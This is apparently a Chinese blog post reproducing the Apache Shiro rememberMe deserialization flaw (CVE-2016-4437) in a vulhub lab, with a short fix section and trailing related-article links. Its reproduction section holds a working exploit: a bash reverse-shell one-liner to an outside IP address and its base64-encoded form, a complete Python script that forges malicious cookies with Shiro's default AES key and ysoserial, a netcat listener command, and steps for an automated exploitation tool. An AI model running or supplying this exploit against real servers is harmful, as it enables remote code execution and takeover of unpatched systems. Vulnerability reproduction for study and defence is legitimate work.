CVE-2016-4437 Apache Shiro反序列化漏洞复现

1. 简介

1.1 Apache Shiro

Apache Shiro(简称 Shiro)是一个功能强大且易于使用的 Java 安全框架,用于身份验证、授权和加密等安全功能。它提供了一套统一的安全API,可以轻松地集成到Java应用程序中。

Shiro 的主要功能包括:

  1. 身份验证:Shiro 可以处理用户身份验证,支持各种常见的认证方式,如用户名/密码、LDAP、OAuth 等。它还提供了许多可插拔的身份验证 Realm,可以根据自己的需求进行定制。

  2. 授权:Shiro 提供了基于角色和权限的授权机制。您可以定义角色和权限,并在代码中进行简单的注解或编程式授权。Shiro 还支持细粒度的权限控制,可以对单个资源进行授权。

  3. 会话管理:Shiro 可以管理用户会话,支持不同的会话存储方式,如内存、数据库、Redis 等。它提供了会话管理和集群环境下的会话共享功能。

  4. 密码加密:Shiro 提供了对密码进行加密和散列的功能,可以确保用户密码的安全性。

  5. Web集成:Shiro 提供了与 Java Web 技术的无缝集成,支持常见的 Web 框架,如Spring MVC、Struts等。

1.2 工 作 原 理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑为:

获取RememberMe的值 ---> Base64解密 ---> ASE解密 --> 反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:

复制代码
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

1.3 漏洞描述

漏洞 说明
受影响版本 Apache Shiro <= 1.2.4
漏洞名称 Apache Shiro 1.2.4 反序列化漏洞,即shiro-550反序列化漏洞。
漏洞编号 CVE-2016-4437
危害等级 高危
漏洞类型 RCE

Shiro550 反序列化漏洞原理:

  • 记住我的功能开启之后,会有Cookie 数据,Cookie 数据其实就是加密后的经过序列化的用户对象,也就是二进制字节流。

  • 加密算法是AES 算法,算法很安全,但是秘钥是固定的,并且存储于源码中。

漏洞特征:

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

2.漏洞复现

手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证

2.1 搭建环境

使用vulhub进行环境搭建,cd/vulhub/shiro/CVE-2016-4437执行docker compose up -d启动漏洞环境

访问ip/8080,如下环境搭建成功

2.2 判断框架

勾选RememberMe字段,输入任意账号与密码,点击登录,返回包set-Cookie会有rememberMe=deleteMe字段,说明使用了shiro框架

2.3 漏洞验证

  1. 生成反弹 Shell 命令

由于 Java 的 Runtime.exec() 无法直接解析 |> 等管道符,我们需要对 Bash 命令进行 Base64 编码。

原始命令: bash -i >& /dev/tcp/8.146.204.157/4444 0>&1

编码处理: 建议使用在线工具或以下方式转换,确保命令如下: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0Ni4yMDQuMTU3LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

  1. 使用脚本生成恶意 Cookie

我们需要一个 Python 脚本来完成以下工作:

生成playload脚本代码:(exp.py

|---------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ​​​​​​​ | import sys import uuid import base64 import subprocess from Crypto.Cipher import AES # 配置信息 JAR_PATH = 'ysoserial.jar' # 确保同目录下有这个文件 KEY = "kPH+bIxk5D2deZiIxcaaaA==" # Shiro 默认 Key def get_payload(gadget, command): # 调用 ysoserial 生成原始序列化字节 cmd = ['java', '-jar', JAR_PATH, gadget, command] return subprocess.check_output(cmd) def encrypt(payload): # Shiro 固有的加密逻辑:AES-CBC 模式 key = base64.b64decode(KEY) iv = uuid.uuid4().bytes # PKCS7 Padding BS = AES.block_size pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode() cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(payload)) return base64.b64encode(iv + ciphertext) if name == 'main': if len(sys.argv) < 3: print("Usage: python3 shiro_exp.py <Gadget> <Command>") print("Example: python3 shiro_exp.py CommonsCollections2 'touch /tmp/success'") sys.exit(0) gadget_name = sys.argv[1] cmd_to_exec = sys.argv[2] final_cookie = encrypt(get_payload(gadget_name, cmd_to_exec)) print("\n[+] 复制以下 Cookie 到请求头的 rememberMe 字段:\n") print(final_cookie.decode()) |

3.监听4444端口

nc -lvvp 4444

4.运行脚本生成 Cookie:

python3 exp.py CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0Ni4yMDQuMTU3LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"

5.抓包将生成的cookie前往bp替换然后重新发包

6.成功接收反弹shell

2.4使用jar自动化工具

相较于上面的python脚本,图形化工具操作起来更加的简单

输入url然后点击检测当前秘钥就会看到提示存在shiro框架

然后点击爆破就会出来

然后点击检测

再点击爆破利用链

最后在命令执行处直接执行命令成功

3.修复建议

1、升级Apache Shiro

2、部署安全产品

相关推荐
2401_865382503 小时前
GB/T22240-2020《信息安全技术 网络安全等级保护定级指南》标准解读
网络安全·信息安全·等保测评·标准·信息化项目
努力的lpp3 小时前
小迪安全课程第一节复习笔记
网络安全
free_734 小时前
超越“回答”,AI Agent迎来全链路安全治理挑战
人工智能·python·网络安全
努力的lpp4 小时前
小迪安全课程第二节复习笔记
网络安全
上海云盾-小余4 小时前
零信任安全落地实战:企业如何构建无边界可信访问体系
网络·安全·web安全·架构
谪星·阿凯5 小时前
从入门到拿Flag:XXE漏洞全解析
安全·web安全·网络安全
hwscom5 小时前
ChurchCRM SQL注入漏洞(CNVD-2026-12565、CVE-2026-24854)
sql·web安全
运维有小邓@6 小时前
文件分析如何检测文件安全漏洞?
网络·安全·web安全
乾元6 小时前
全球治理: 从《AI 法案》看安全合规的国际趋势
网络·人工智能·安全·机器学习·网络安全·架构·安全架构